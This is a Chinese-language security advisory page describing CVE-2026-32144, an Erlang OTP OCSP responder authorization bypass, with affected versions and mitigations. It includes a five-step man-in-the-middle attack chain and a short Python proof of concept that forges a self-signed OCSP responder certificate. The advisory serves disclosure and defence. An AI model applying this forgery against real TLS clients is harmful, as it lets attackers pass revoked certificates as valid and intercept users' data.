IPBUF安全漏洞报告
English
CVE-2026-32144 CVSS 7.4 高危

CVE-2026-32144: Erlang OTP证书验证不当漏洞

披露日期: 2026-04-07
来源: 6b3ad84c-e1a6-4bf7-a703-f496b71e49db

漏洞信息

漏洞编号
CVE-2026-32144
漏洞类型
证书验证不当
CVSS评分
7.4 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Erlang OTP

相关标签

证书验证不当Erlang OTPOCSP中间人攻击高危

漏洞概述

Erlang OTP public_key模块中的pubkey_ocsp组件存在证书验证不当漏洞。该漏洞允许攻击者绕过OCSP指定响应者的授权验证。由于缺少对CA指定响应者证书签名的验证,攻击者可利用匹配的颁发者名称和OCSPSigning扩展密钥用法伪造证书,进而创建虚假的OCSP响应。这将导致SSL/TLS客户端错误地接受已吊销的证书,可能将敏感数据传输至已受损的服务器。

技术细节

该漏洞位于Erlang OTP的lib/public_key/src/pubkey_ocsp.erl文件中,具体影响pubkey_ocsp:is_authorized_responder/3例程。在执行public_key:pkix_ocsp_validate/5进行OCSP响应验证时,系统未能验证CA指定的响应者证书是否由颁发CA进行加密签名。验证逻辑仅检查响应者证书的颁发者名称是否与CA的名称匹配,以及证书是否具备OCSPSigning扩展密钥用法(EKU)。攻击者如果能拦截或控制OCSP响应(例如通过中间人攻击),可以创建一个自签名证书,设置其颁发者名称为目标CA的名称,并标记为OCSPSigning用途。利用此伪造证书,攻击者可以签署OCSP响应,将已被吊销的证书标记为“Good”状态。依赖OCSP装订的SSL/TLS客户端会接受此伪造响应,从而与持有恶意或已吊销证书的服务器建立连接,破坏了PKI信任链的完整性。

攻击链分析

STEP 1
1. 侦察与定位
攻击者确认目标应用使用受影响的Erlang OTP版本(27.0-28.4.2等),且启用了OCSP装订功能。
STEP 2
2. 流量拦截
攻击者通过中间人攻击(MITM)或控制网络节点,获取拦截或修改OCSP响应的能力。
STEP 3
3. 伪造证书
攻击者生成一个自签名证书,将其Issuer字段设置为目标CA的Subject名称,并添加OCSPSigning扩展密钥用法。
STEP 4
4. 生成虚假响应
利用伪造的 responder 证书,对OCSP响应进行签名,将目标服务器已被吊销的证书状态标记为'Good'(有效)。
STEP 5
5. 验证绕过与攻击
受害的Erlang客户端收到虚假OCSP响应,由于未验证签名链,误认为服务器证书有效,从而建立连接并泄露数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ Conceptual PoC for CVE-2026-32144 Generates a forged OCSP Responder Certificate to bypass signature verification. Note: This requires control over the OCSP response or interception capabilities. """ from cryptography import x509 from cryptography.x509.oid import NameOID, ExtensionOID from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives import serialization import datetime # Generate a private key for the forged responder key = rsa.generate_private_key( public_exponent=65537, key_size=2048, ) # Extract the Subject Name from the target CA to mimic as Issuer # In a real attack, this would match the actual CA's Subject ca_name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Fake CA")]) # Create the forged responder certificate # The key exploit is setting the Issuer to the CA's Name without a real signature subject = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Forged OCSP Responder")]) cert = ( x509.CertificateBuilder() .subject_name(subject) .issuer_name(ca_name) # Impersonating the CA as Issuer .public_key(key.public_key()) .serial_number(x509.random_serial_number()) .not_valid_before(datetime.datetime.utcnow()) .not_valid_after(datetime.datetime.utcnow() + datetime.timedelta(days=365)) # Add the OCSPSigning EKU which is checked, but signature is not .add_extension( x509.ExtendedKeyUsage([x509.ObjectIdentifier("1.3.6.1.5.5.7.3.9")]), # OCSP Signing critical=False, ) .sign(key, hashes.SHA256()) # Self-signed ) print("Forged Responder Certificate Created:") print(cert.public_bytes(serialization.Encoding.PEM).decode())

影响范围

OTP 27.0 - OTP 28.4.2
OTP 27.3.4.10
public_key 1.16 - 1.20.3
public_key 1.17.1.2
ssl 11.2 - 11.5.4
ssl 11.2.12.7

防御指南

临时缓解措施
在无法立即升级补丁的情况下,建议在客户端配置中禁用OCSP装订(OCSP Stapling)功能,改用CRL(证书吊销列表)作为吊销状态检查机制,或增加对服务器证书的人工审核流程。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表